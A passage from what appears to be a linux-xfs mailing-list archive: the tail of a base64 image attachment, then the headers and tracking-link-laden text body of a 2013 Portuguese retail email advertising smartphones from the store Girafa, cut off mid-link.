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 ------=_NextPart_000_0007_01CE7D82.88ECE4D0-- From dma_1636@rp.email.girafa.com.br Wed Jul 10 07:42:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C42DC7F4E for ; Wed, 10 Jul 2013 07:42:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 61D418F8033 for ; Wed, 10 Jul 2013 05:42:13 -0700 (PDT) X-ASG-Debug-ID: 1373460123-04bdf0233cd9df30001-w1Z2WR Received: from vt-0007-220.email.girafa.com.br (vt-0007-220.email.girafa.com.br [187.61.43.220]) by cuda.sgi.com with ESMTP id BOFEOGBZiopEbbM2 for ; Wed, 10 Jul 2013 05:42:03 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.43.220 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=V3Oe/lecgi5Af7tGxGXOC8CDTn4=; b=OHEXL2g/ChygRiR/wkwJe04wk5DcC3fZNUy+aIldj58ekdSm4w6TPWVdvc9rb1frXaJJDY/2Wron ZX/PkiG0zynrtsi9ZsBmMzmvAPCohg85KScCnSbXcmIjO0hh5GFMpU7P9nu+zm/k8Z1JP3+IWf8x z3Y2U8NYe9hNvYZnPvs= Received: by vt-0007-220.email.girafa.com.br id hrlb9o0sh4sg for ; Wed, 10 Jul 2013 09:42:02 -0300 (envelope-from ) From: "Girafa" To: "" Subject: Mobile day: o mais novo smartphone da Samsung chegou no Girafa, o Galaxy Win Duos! MIME-Version: 1.0 X-ASG-Orig-Subj: Mobile day: o mais novo smartphone da Samsung chegou no Girafa, o Galaxy Win Duos! Content-Type: multipart/alternative; boundary="43d1ffaeebf7765be2316c8f7208dd66" Reply-To: "Girafa" List-Unsubscribe: X-Hash: 1636-3277-644384-53c5f22371345d8914495fdac44b3c65 X-DMA: 5295578 Message-ID: <0.2.3.54E.1CE7D6AE06C7B3E.19F89@vt-0007-220.email.girafa.com.br> Date: Wed, 10 Jul 2013 09:42:04 -0300 X-Barracuda-Connect: vt-0007-220.email.girafa.com.br[187.61.43.220] X-Barracuda-Start-Time: 1373460123 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136355 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --43d1ffaeebf7765be2316c8f7208dd66 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84907,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84907,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84908,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0xMF8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84909,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84910,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0xMF8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW= 1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84911,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1d= G1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84912,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY2= 9udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84913,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84914,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84915,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0xMF8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84907,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/?= utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_c= ampaign=3Doferta_do_dia_10_07_13" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84916,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9TYW1zdW5nL3NtYXJ0cGhvbmUtc2Ftc3VuZy1nYWxheHktd2luLWR1b3MtYnJhbmNvLWR1YW= wtY2hpcC1hbmRyb2lkLTQxLTUwbXAtZnVsbC10b3VjaC00Ny04Zy5odG0/dXRtX3NvdXJjZT0xM= F8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9j= YW1wYWlnbj1vZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5j= b20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84917,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUU5Nzcmb3JkZW09bWFpcy12aXN1YWxpemFkb3MmdXRtX3NvdXJjZT0xMF8wN18xM19vZm= VydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZ= mVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84918,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPVA3MTQmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0xMF8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] E977 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84917,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUU5Nzcmb3JkZW09bWFpcy12aXN1YWxpemFkb3MmdXRtX3NvdXJjZT0xMF8wN18xM19vZm= VydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZ= mVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] P714 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84918,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPVA3MTQmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0xMF8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Smartphone LG Optimus G [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84917,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUU5Nzcmb3JkZW09bWFpcy12aXN1YWxpemFkb3MmdXRtX3NvdXJjZT0xMF8wN18xM19vZm= VydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZ= mVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Smartphone LG L7 II Single [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84918,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DP714&marcas=3DLG&subgrupos=3D&utm_source=3D10_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 4G * Android 4.1 * 13MP * Touch 4.7" 1.319,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84917,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DE977&ordem=3Dmais-visualizados&utm_source=3D10_07_13_oferta_do= _dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84917,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DE977&ordem=3Dmais-visualizados&utm_source=3D10_07_13_oferta_do= _dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_1= 3font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84917,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DE977&ordem=3Dmais-visualizados&utm_source=3D10_07_13_oferta_do= _dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Android 4.1 * 3G * 8MP * 4GB 659,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84918,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DP714&marcas=3DLG&subgrupos=3D&utm_source=3D10_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84918,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DP714&marcas=3DLG&subgrupos=3D&utm_source=3D10_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84918,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPVA3MTQmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0xMF8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84919,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUxVTUlBJTIwNzIwJm1hcmNhcz1Ob2tpYSZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MTBfMD= dfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ftc= GFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84920,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUU0NTAmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0xMF8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Lumia 720 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84919,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUxVTUlBJTIwNzIwJm1hcmNhcz1Ob2tpYSZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MTBfMD= dfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ftc= GFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] E450 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84920,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUU0NTAmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0xMF8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Smartphone Nokia Lumia 720 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84919,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUxVTUlBJTIwNzIwJm1hcmNhcz1Ob2tpYSZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MTBfMD= dfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ftc= GFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone LG Optimus L5 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84920,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DE450&marcas=3DLG&subgrupos=3D&utm_source=3D10_07_13_oferta_do_= 